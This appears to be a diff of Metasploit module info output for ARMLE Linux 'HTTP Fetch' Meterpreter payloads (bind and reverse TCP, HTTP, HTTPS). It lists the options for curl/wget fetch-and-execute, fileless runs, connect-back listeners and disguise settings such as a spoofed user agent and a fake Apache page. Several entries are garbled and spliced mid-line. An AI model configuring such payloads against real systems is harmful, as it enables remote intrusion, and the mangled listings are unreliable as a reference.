|
||||||
Rank: Normal
|
|
||||||
|
|
||||||
Provided by:
|
|
||||||
Brendan Watters
|
|
||||||
Spencer McIntyre
|
|
||||||
Jonathan Salwan
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
CMD yes The command string to execute
|
|
||||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
|
||||||
FETCH_DELETE false yes Attempt to delete the binary after execution
|
|
||||||
FETCH_FILELESS none yes Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8 (Accepted: none, bash, python3.8+)
|
|
||||||
FETCH_SRVHOST yes Local IP to use for serving payload
|
|
||||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
|
||||||
FETCH_URIPATH no Local URI to use for serving payload
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_COMMAND is one of CURL,WGET:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_PIPE false yes Host both the binary payload and the command so it can be piped directly to the shell.
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_FILELESS is none:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_FILENAME RehdCjIlUXKQ no Name to use on remote system when storing payload; cannot contain spaces or slashes
|
|
||||||
FETCH_WRITABLE_DIR ./ yes Remote writable dir to store payload; cannot contain spaces
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Fetch and execute an ARMLE payload from an HTTP server.
|
|
||||||
Execute an arbitrary command
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
EXE::Custom no Use custom exe instead of automatically generating a payload exe
|
|
||||||
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
|
|
||||||
EXE::FallBack false no Use the default template in case the specified one is missing
|
|
||||||
EXE::Inject false no Set to preserve the original EXE function
|
|
||||||
EXE::OldMethod false no Set to use the substitution EXE generation method.
|
|
||||||
EXE::Path no The directory in which to look for the executable template
|
|
||||||
EXE::Template no The executable template file name.
|
|
||||||
FetchHandlerDisable false yes Disable fetch handler
|
|
||||||
FetchHttpServerName Apache yes Fetch HTTP server name
|
|
||||||
FetchListenerBindAddress no The specific IP address to bind to to serve the payload if different from FETCH_SRVHOST
|
|
||||||
FetchListenerBindPort no The port to bind to if different from FETCH_SRVPORT
|
|
||||||
MSI::Custom no Use custom msi instead of automatically generating a payload msi
|
|
||||||
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
|
|
||||||
MSI::Path no The directory in which to look for the msi template
|
|
||||||
MSI::Template no The msi template file name
|
|
||||||
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
|
|
||||||
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
|
|
||||||
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,96 +0,0 @@
|
|||||||
|
|
||||||
Name: HTTP Fetch, Bind TCP Stager
|
|
||||||
Module: payload/cmd/linux/http/armle/meterpreter/bind_tcp
|
|
||||||
Platform: Linux
|
|
||||||
Arch: cmd
|
|
||||||
Needs Admin: No
|
|
||||||
Total size: 105
|
|
||||||
Rank: Normal
|
|
||||||
|
|
||||||
Provided by:
|
|
||||||
Brendan Watters
|
|
||||||
Spencer McIntyre
|
|
||||||
Adam Cammack <adam_cammack@rapid7.com>
|
|
||||||
nemo <nemo@felinemenace.org>
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
|
||||||
FETCH_DELETE false yes Attempt to delete the binary after execution
|
|
||||||
FETCH_FILELESS none yes Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8 (Accepted: none, bash, python3.8+)
|
|
||||||
FETCH_SRVHOST yes Local IP to use for serving payload
|
|
||||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
|
||||||
FETCH_URIPATH no Local URI to use for serving payload
|
|
||||||
LPORT 4444 yes The listen port
|
|
||||||
RHOST no The target address
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_COMMAND is one of CURL,WGET:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_PIPE false yes Host both the binary payload and the command so it can be piped directly to the shell.
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_FILELESS is none:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_FILENAME jXmsYyvUo no Name to use on remote system when storing payload; cannot contain spaces or slashes
|
|
||||||
FETCH_WRITABLE_DIR ./ yes Remote writable dir to store payload; cannot contain spaces
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Fetch and execute an ARMLE payload from an HTTP server.
|
|
||||||
Listen for a connection
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AutoLoadStdapi true yes Automatically load the Stdapi extension
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoSystemInfo true yes Automatically capture system information on initialization.
|
|
||||||
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
|
|
||||||
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
|
|
||||||
EXE::Custom no Use custom exe instead of automatically generating a payload exe
|
|
||||||
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
|
|
||||||
EXE::FallBack false no Use the default template in case the specified one is missing
|
|
||||||
EXE::Inject false no Set to preserve the original EXE function
|
|
||||||
EXE::OldMethod false no Set to use the substitution EXE generation method.
|
|
||||||
EXE::Path no The directory in which to look for the executable template
|
|
||||||
EXE::Template no The executable template file name.
|
|
||||||
EnableStageEncoding false no Encode the second stage payload
|
|
||||||
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
|
|
||||||
FetchHandlerDisable false yes Disable fetch handler
|
|
||||||
FetchHttpServerName Apache yes Fetch HTTP server name
|
|
||||||
FetchListenerBindAddress no The specific IP address to bind to to serve the payload if different from FETCH_SRVHOST
|
|
||||||
FetchListenerBindPort no The port to bind to if different from FETCH_SRVPORT
|
|
||||||
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
MSI::Custom no Use custom msi instead of automatically generating a payload msi
|
|
||||||
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
|
|
||||||
MSI::Path no The directory in which to look for the msi template
|
|
||||||
MSI::Template no The msi template file name
|
|
||||||
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
|
|
||||||
MeterpreterDebugBuild false no Use a debug version of Meterpreter
|
|
||||||
MeterpreterDebugLogging no The Meterpreter debug logging configuration, see https://docs.metasploit.com/docs/using-metasploit/advanced/meterpreter/meterpreter-debugging-meterpreter-sessions.html
|
|
||||||
MeterpreterTryToFork false no Fork a new process if the functionality is available
|
|
||||||
PayloadProcessCommandLine no The displayed command line that will be used by the payload
|
|
||||||
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
|
|
||||||
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
|
|
||||||
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
|
|
||||||
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
|
|
||||||
PingbackRetries 0 yes How many additional successful pingbacks
|
|
||||||
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
|
|
||||||
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
|
|
||||||
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
|
|
||||||
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
|
|
||||||
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
|
|
||||||
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
|
|
||||||
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
|
|
||||||
StageEncoder no Encoder to use if EnableStageEncoding is set
|
|
||||||
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
|
|
||||||
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,102 +0,0 @@
|
|||||||
|
|
||||||
Name: HTTP Fetch, Reverse TCP Stager
|
|
||||||
Module: payload/cmd/linux/http/armle/meterpreter/reverse_tcp
|
|
||||||
Platform: Linux
|
|
||||||
Arch: cmd
|
|
||||||
Needs Admin: No
|
|
||||||
Total size: 105
|
|
||||||
Rank: Nor
|
|
||||||
Evasion options for payload/cmd/linux/http/armle/meterpreter/reverse_tcp:
|
|
||||||
=========================
|
|
||||||
|
|
||||||
nemo <nemo@felinemenace.org>
|
|
||||||
tkmru
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
|
||||||
FETCH_DELETE false yes Attempt to delete the binary after execution
|
|
||||||
FETCH_FILELESS none yes Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8 (Accepted: none, bash, python3.8+)
|
|
||||||
FETCH_SRVHOST no Local IP to use for serving payload
|
|
||||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
|
||||||
FETCH_URIPATH no Local URI to use for serving payload
|
|
||||||
LHOST yes The listen address (an interface may be specified)
|
|
||||||
LPORT 4444 yes The listen port
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_COMMAND is one of CURL,WGET:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_PIPE false yes Host both the binary payload and the command so it can be piped directly to the shell.
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_FILELESS is none:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_FILENAME NElxiOYcd no Name to use on remote system when storing payload; cannot contain spaces or slashes
|
|
||||||
FETCH_WRITABLE_DIR ./ yes Remote writable dir to store payload; cannot contain spaces
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Fetch and execute an ARMLE payload from an HTTP server.
|
|
||||||
Connect back to the attacker
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AutoLoadStdapi true yes Automatically load the Stdapi extension
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoSystemInfo true yes Automatically capture system information on initialization.
|
|
||||||
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
|
|
||||||
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
|
|
||||||
EXE::Custom no Use custom exe instead of automatically generating a payload exe
|
|
||||||
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
|
|
||||||
EXE::FallBack false no Use the default template in case the specified one is missing
|
|
||||||
EXE::Inject false no Set to preserve the original EXE function
|
|
||||||
EXE::OldMethod false no Set to use the substitution EXE generation method.
|
|
||||||
EXE::Path no The directory in which to look for the executable template
|
|
||||||
EXE::Template no The executable template file name.
|
|
||||||
EnableStageEncoding false no Encode the second stage payload
|
|
||||||
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
|
|
||||||
FetchHandlerDisable false yes Disable fetch handler
|
|
||||||
FetchHttpServerName Apache yes Fetch HTTP server name
|
|
||||||
FetchListenerBindAddress no The specific IP address to bind to to serve the payload if different from FETCH_SRVHOST
|
|
||||||
FetchListenerBindPort no The port to bind to if different from FETCH_SRVPORT
|
|
||||||
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
MSI::Custom no Use custom msi instead of automatically generating a payload msi
|
|
||||||
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
|
|
||||||
MSI::Path no The directory in which to look for the msi template
|
|
||||||
MSI::Template no The msi template file name
|
|
||||||
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
|
|
||||||
MeterpreterDebugBuild false no Use a debug version of Meterpreter
|
|
||||||
MeterpreterDebugLogging no The Meterpreter debug logging configuration, see https://docs.metasploit.com/docs/using-metasploit/advanced/meterpreter/meterpreter-debugging-meterpreter-sessions.html
|
|
||||||
MeterpreterTryToFork false no Fork a new process if the functionality is available
|
|
||||||
PayloadProcessCommandLine no The displayed command line that will be used by the payload
|
|
||||||
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
|
|
||||||
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
|
|
||||||
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
|
|
||||||
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
|
|
||||||
PingbackRetries 0 yes How many additional successful pingbacks
|
|
||||||
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
|
|
||||||
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
|
|
||||||
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
|
|
||||||
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
|
|
||||||
ReverseListenerBindAddress no The specific IP address to bind to on the local system
|
|
||||||
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
|
|
||||||
ReverseListenerComm no The specific communication channel to use for this listener
|
|
||||||
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
|
|
||||||
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
|
|
||||||
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
|
|
||||||
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
|
|
||||||
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
|
|
||||||
StageEncoder no Encoder to use if EnableStageEncoding is set
|
|
||||||
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
|
|
||||||
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
|
|
||||||
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
|
|
||||||
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,104 +0,0 @@
|
|||||||
|
|
||||||
Name: HTTP Fetch
|
|
||||||
Module: payload/cmd/linux/http/armle/meterpreter_reverse_http
|
|
||||||
Platform: Linux
|
|
||||||
Arch: cmd
|
|
||||||
Needs Admin: No
|
|
||||||
Total size: 114
|
|
||||||
Rank: Normal
|
|
||||||
|
|
||||||
Provided by:
|
|
||||||
|
|
||||||
Evasion options for payload/cmd/linux/http/armle/meterpreter_reverse_http:
|
|
||||||
=========================
|
|
||||||
|
|
||||||
cook@rapid7.com>
|
|
||||||
timwr
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
|
||||||
FETCH_DELETE false yes Attempt to delete the binary after execution
|
|
||||||
FETCH_FILELESS none yes Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8 (Accepted: none, bash, python3.8+)
|
|
||||||
FETCH_SRVHOST no Local IP to use for serving payload
|
|
||||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
|
||||||
FETCH_URIPATH no Local URI to use for serving payload
|
|
||||||
LHOST yes The local listener hostname
|
|
||||||
LPORT 8080 yes The local listener port
|
|
||||||
LURI no The HTTP Path
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_COMMAND is one of CURL,WGET:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_PIPE false yes Host both the binary payload and the command so it can be piped directly to the shell.
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_FILELESS is none:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_FILENAME XnlZncyaIRhL no Name to use on remote system when storing payload; cannot contain spaces or slashes
|
|
||||||
FETCH_WRITABLE_DIR ./ yes Remote writable dir to store payload; cannot contain spaces
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Fetch and execute an ARMLE payload from an HTTP server.
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AutoLoadStdapi true yes Automatically load the Stdapi extension
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoSystemInfo true yes Automatically capture system information on initialization.
|
|
||||||
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
|
|
||||||
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
|
|
||||||
EXE::Custom no Use custom exe instead of automatically generating a payload exe
|
|
||||||
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
|
|
||||||
EXE::FallBack false no Use the default template in case the specified one is missing
|
|
||||||
EXE::Inject false no Set to preserve the original EXE function
|
|
||||||
EXE::OldMethod false no Set to use the substitution EXE generation method.
|
|
||||||
EXE::Path no The directory in which to look for the executable template
|
|
||||||
EXE::Template no The executable template file name.
|
|
||||||
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
|
|
||||||
FetchHandlerDisable false yes Disable fetch handler
|
|
||||||
FetchHttpServerName Apache yes Fetch HTTP server name
|
|
||||||
FetchListenerBindAddress no The specific IP address to bind to to serve the payload if different from FETCH_SRVHOST
|
|
||||||
FetchListenerBindPort no The port to bind to if different from FETCH_SRVPORT
|
|
||||||
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
|
|
||||||
HttpServerName Apache no The server header that the handler will send in response to requests
|
|
||||||
HttpUnknownRequestResponse <html><body><h1>It works!</h1></body></html> no The returned HTML response body when the handler receives a request that is not from a payload
|
|
||||||
HttpUserAgent Mozilla/5.0 (Macintosh; Intel Mac OS X 14_7_2) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15 no The user-agent that the payload should use for communication Max parameter length: 255 characters
|
|
||||||
IgnoreUnknownPayloads false no Whether to drop connections from payloads using unknown UUIDs
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
MSI::Custom no Use custom msi instead of automatically generating a payload msi
|
|
||||||
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
|
|
||||||
MSI::Path no The directory in which to look for the msi template
|
|
||||||
MSI::Template no The msi template file name
|
|
||||||
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
|
|
||||||
MeterpreterDebugBuild false no Use a debug version of Meterpreter
|
|
||||||
MeterpreterDebugLogging no The Meterpreter debug logging configuration, see https://docs.metasploit.com/docs/using-metasploit/advanced/meterpreter/meterpreter-debugging-meterpreter-sessions.html
|
|
||||||
MeterpreterTryToFork false no Fork a new process if the functionality is available
|
|
||||||
OverrideLHOST no When OverrideRequestHost is set, use this value as the host name for secondary requests
|
|
||||||
OverrideLPORT no When OverrideRequestHost is set, use this value as the port number for secondary requests
|
|
||||||
OverrideRequestHost false no Forces a specific host and port instead of using what the client requests, defaults to LHOST:LPORT
|
|
||||||
OverrideScheme no When OverrideRequestHost is set, use this value as the scheme for secondary requests, e.g http or https
|
|
||||||
PayloadProcessCommandLine no The displayed command line that will be used by the payload
|
|
||||||
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
|
|
||||||
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
|
|
||||||
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
|
|
||||||
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
|
|
||||||
PingbackRetries 0 yes How many additional successful pingbacks
|
|
||||||
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
|
|
||||||
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
|
|
||||||
ReverseListenerBindAddress no The specific IP address to bind to on the local system
|
|
||||||
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
|
|
||||||
ReverseListenerComm no The specific communication channel to use for this listener
|
|
||||||
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
|
|
||||||
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
|
|
||||||
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
|
|
||||||
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,106 +0,0 @@
|
|||||||
|
|
||||||
Name: HTTP Fetch
|
|
||||||
Module: payload/cmd/linux/http/armle/meterpreter_reverse_https
|
|
||||||
Platform: Linux
|
|
||||||
Arch: cmd
|
|
||||||
Needs Admin: No
|
|
||||||
Total size: 111
|
|
||||||
Rank: Normal
|
|
||||||
|
|
||||||
Provided by:
|
|
||||||
|
|
||||||
Evasion options for payload/cmd/linux/http/armle/meterpreter_reverse_https:
|
|
||||||
=========================
|
|
||||||
|
|
||||||
ok@rapid7.com>
|
|
||||||
timwr
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
|
||||||
FETCH_DELETE false yes Attempt to delete the binary after execution
|
|
||||||
FETCH_FILELESS none yes Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8 (Accepted: none, bash, python3.8+)
|
|
||||||
FETCH_SRVHOST no Local IP to use for serving payload
|
|
||||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
|
||||||
FETCH_URIPATH no Local URI to use for serving payload
|
|
||||||
LHOST yes The local listener hostname
|
|
||||||
LPORT 8443 yes The local listener port
|
|
||||||
LURI no The HTTP Path
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_COMMAND is one of CURL,WGET:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_PIPE false yes Host both the binary payload and the command so it can be piped directly to the shell.
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_FILELESS is none:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_FILENAME wAhDSkfiYAV no Name to use on remote system when storing payload; cannot contain spaces or slashes
|
|
||||||
FETCH_WRITABLE_DIR ./ yes Remote writable dir to store payload; cannot contain spaces
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Fetch and execute an ARMLE payload from an HTTP server.
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AutoLoadStdapi true yes Automatically load the Stdapi extension
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoSystemInfo true yes Automatically capture system information on initialization.
|
|
||||||
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
|
|
||||||
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
|
|
||||||
EXE::Custom no Use custom exe instead of automatically generating a payload exe
|
|
||||||
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
|
|
||||||
EXE::FallBack false no Use the default template in case the specified one is missing
|
|
||||||
EXE::Inject false no Set to preserve the original EXE function
|
|
||||||
EXE::OldMethod false no Set to use the substitution EXE generation method.
|
|
||||||
EXE::Path no The directory in which to look for the executable template
|
|
||||||
EXE::Template no The executable template file name.
|
|
||||||
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
|
|
||||||
FetchHandlerDisable false yes Disable fetch handler
|
|
||||||
FetchHttpServerName Apache yes Fetch HTTP server name
|
|
||||||
FetchListenerBindAddress no The specific IP address to bind to to serve the payload if different from FETCH_SRVHOST
|
|
||||||
FetchListenerBindPort no The port to bind to if different from FETCH_SRVPORT
|
|
||||||
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
|
|
||||||
HttpServerName Apache no The server header that the handler will send in response to requests
|
|
||||||
HttpUnknownRequestResponse <html><body><h1>It works!</h1></body></html> no The returned HTML response body when the handler receives a request that is not from a payload
|
|
||||||
HttpUserAgent Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0 no The user-agent that the payload should use for communication Max parameter length: 255 characters
|
|
||||||
IgnoreUnknownPayloads false no Whether to drop connections from payloads using unknown UUIDs
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
MSI::Custom no Use custom msi instead of automatically generating a payload msi
|
|
||||||
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
|
|
||||||
MSI::Path no The directory in which to look for the msi template
|
|
||||||
MSI::Template no The msi template file name
|
|
||||||
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
|
|
||||||
MeterpreterDebugBuild false no Use a debug version of Meterpreter
|
|
||||||
MeterpreterDebugLogging no The Meterpreter debug logging configuration, see https://docs.metasploit.com/docs/using-metasploit/advanced/meterpreter/meterpreter-debugging-meterpreter-sessions.html
|
|
||||||
MeterpreterTryToFork false no Fork a new process if the functionality is available
|
|
||||||
OverrideLHOST no When OverrideRequestHost is set, use this value as the host name for secondary requests
|
|
||||||
OverrideLPORT no When OverrideRequestHost is set, use this value as the port number for secondary requests
|
|
||||||
OverrideRequestHost false no Forces a specific host and port instead of using what the client requests, defaults to LHOST:LPORT
|
|
||||||
OverrideScheme no When OverrideRequestHost is set, use this value as the scheme for secondary requests, e.g http or https
|
|
||||||
PayloadProcessCommandLine no The displayed command line that will be used by the payload
|
|
||||||
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
|
|
||||||
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
|
|
||||||
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
|
|
||||||
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
|
|
||||||
PingbackRetries 0 yes How many additional successful pingbacks
|
|
||||||
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
|
|
||||||
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
|
|
||||||
ReverseListenerBindAddress no The specific IP address to bind to on the local system
|
|
||||||
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
|
|
||||||
ReverseListenerComm no The specific communication channel to use for this listener
|
|
||||||
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
|
|
||||||
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
|
|
||||||
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
|
|
||||||
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
|
|
||||||
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
|
|
||||||
StagerVerifySSLCert false no Whether to verify the SSL certificate in Meterpreter
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,97 +0,0 @@
|
|||||||
|
|
||||||
Name: HTTP Fetch
|
|
||||||
Module: payload/cmd/linux/http/armle/meterpreter_reverse_tcp
|
|
||||||
Platform: Linux
|
|
||||||
Arch: cmd
|
|
||||||
Needs Admin: No
|
|
||||||
Total size: 105
|
|
||||||
Rank: Normal
|
|
||||||
|
|
||||||
Provided by:
|
|
||||||
Brendan Watters
|
|
||||||
Spencer McIntyre
|
|
||||||
Adam Cammack <adam_cammack@rapid7.com>
|
|
||||||
Brent Cook <brent_cook@rapid7.com>
|
|
||||||
timwr
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
|
||||||
FETCH_DELETE false yes Attempt to delete the binary after execution
|
|
||||||
FETCH_FILELESS none yes Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8 (Accepted: none, bash, python3.8+)
|
|
||||||
FETCH_SRVHOST no Local IP to use for serving payload
|
|
||||||
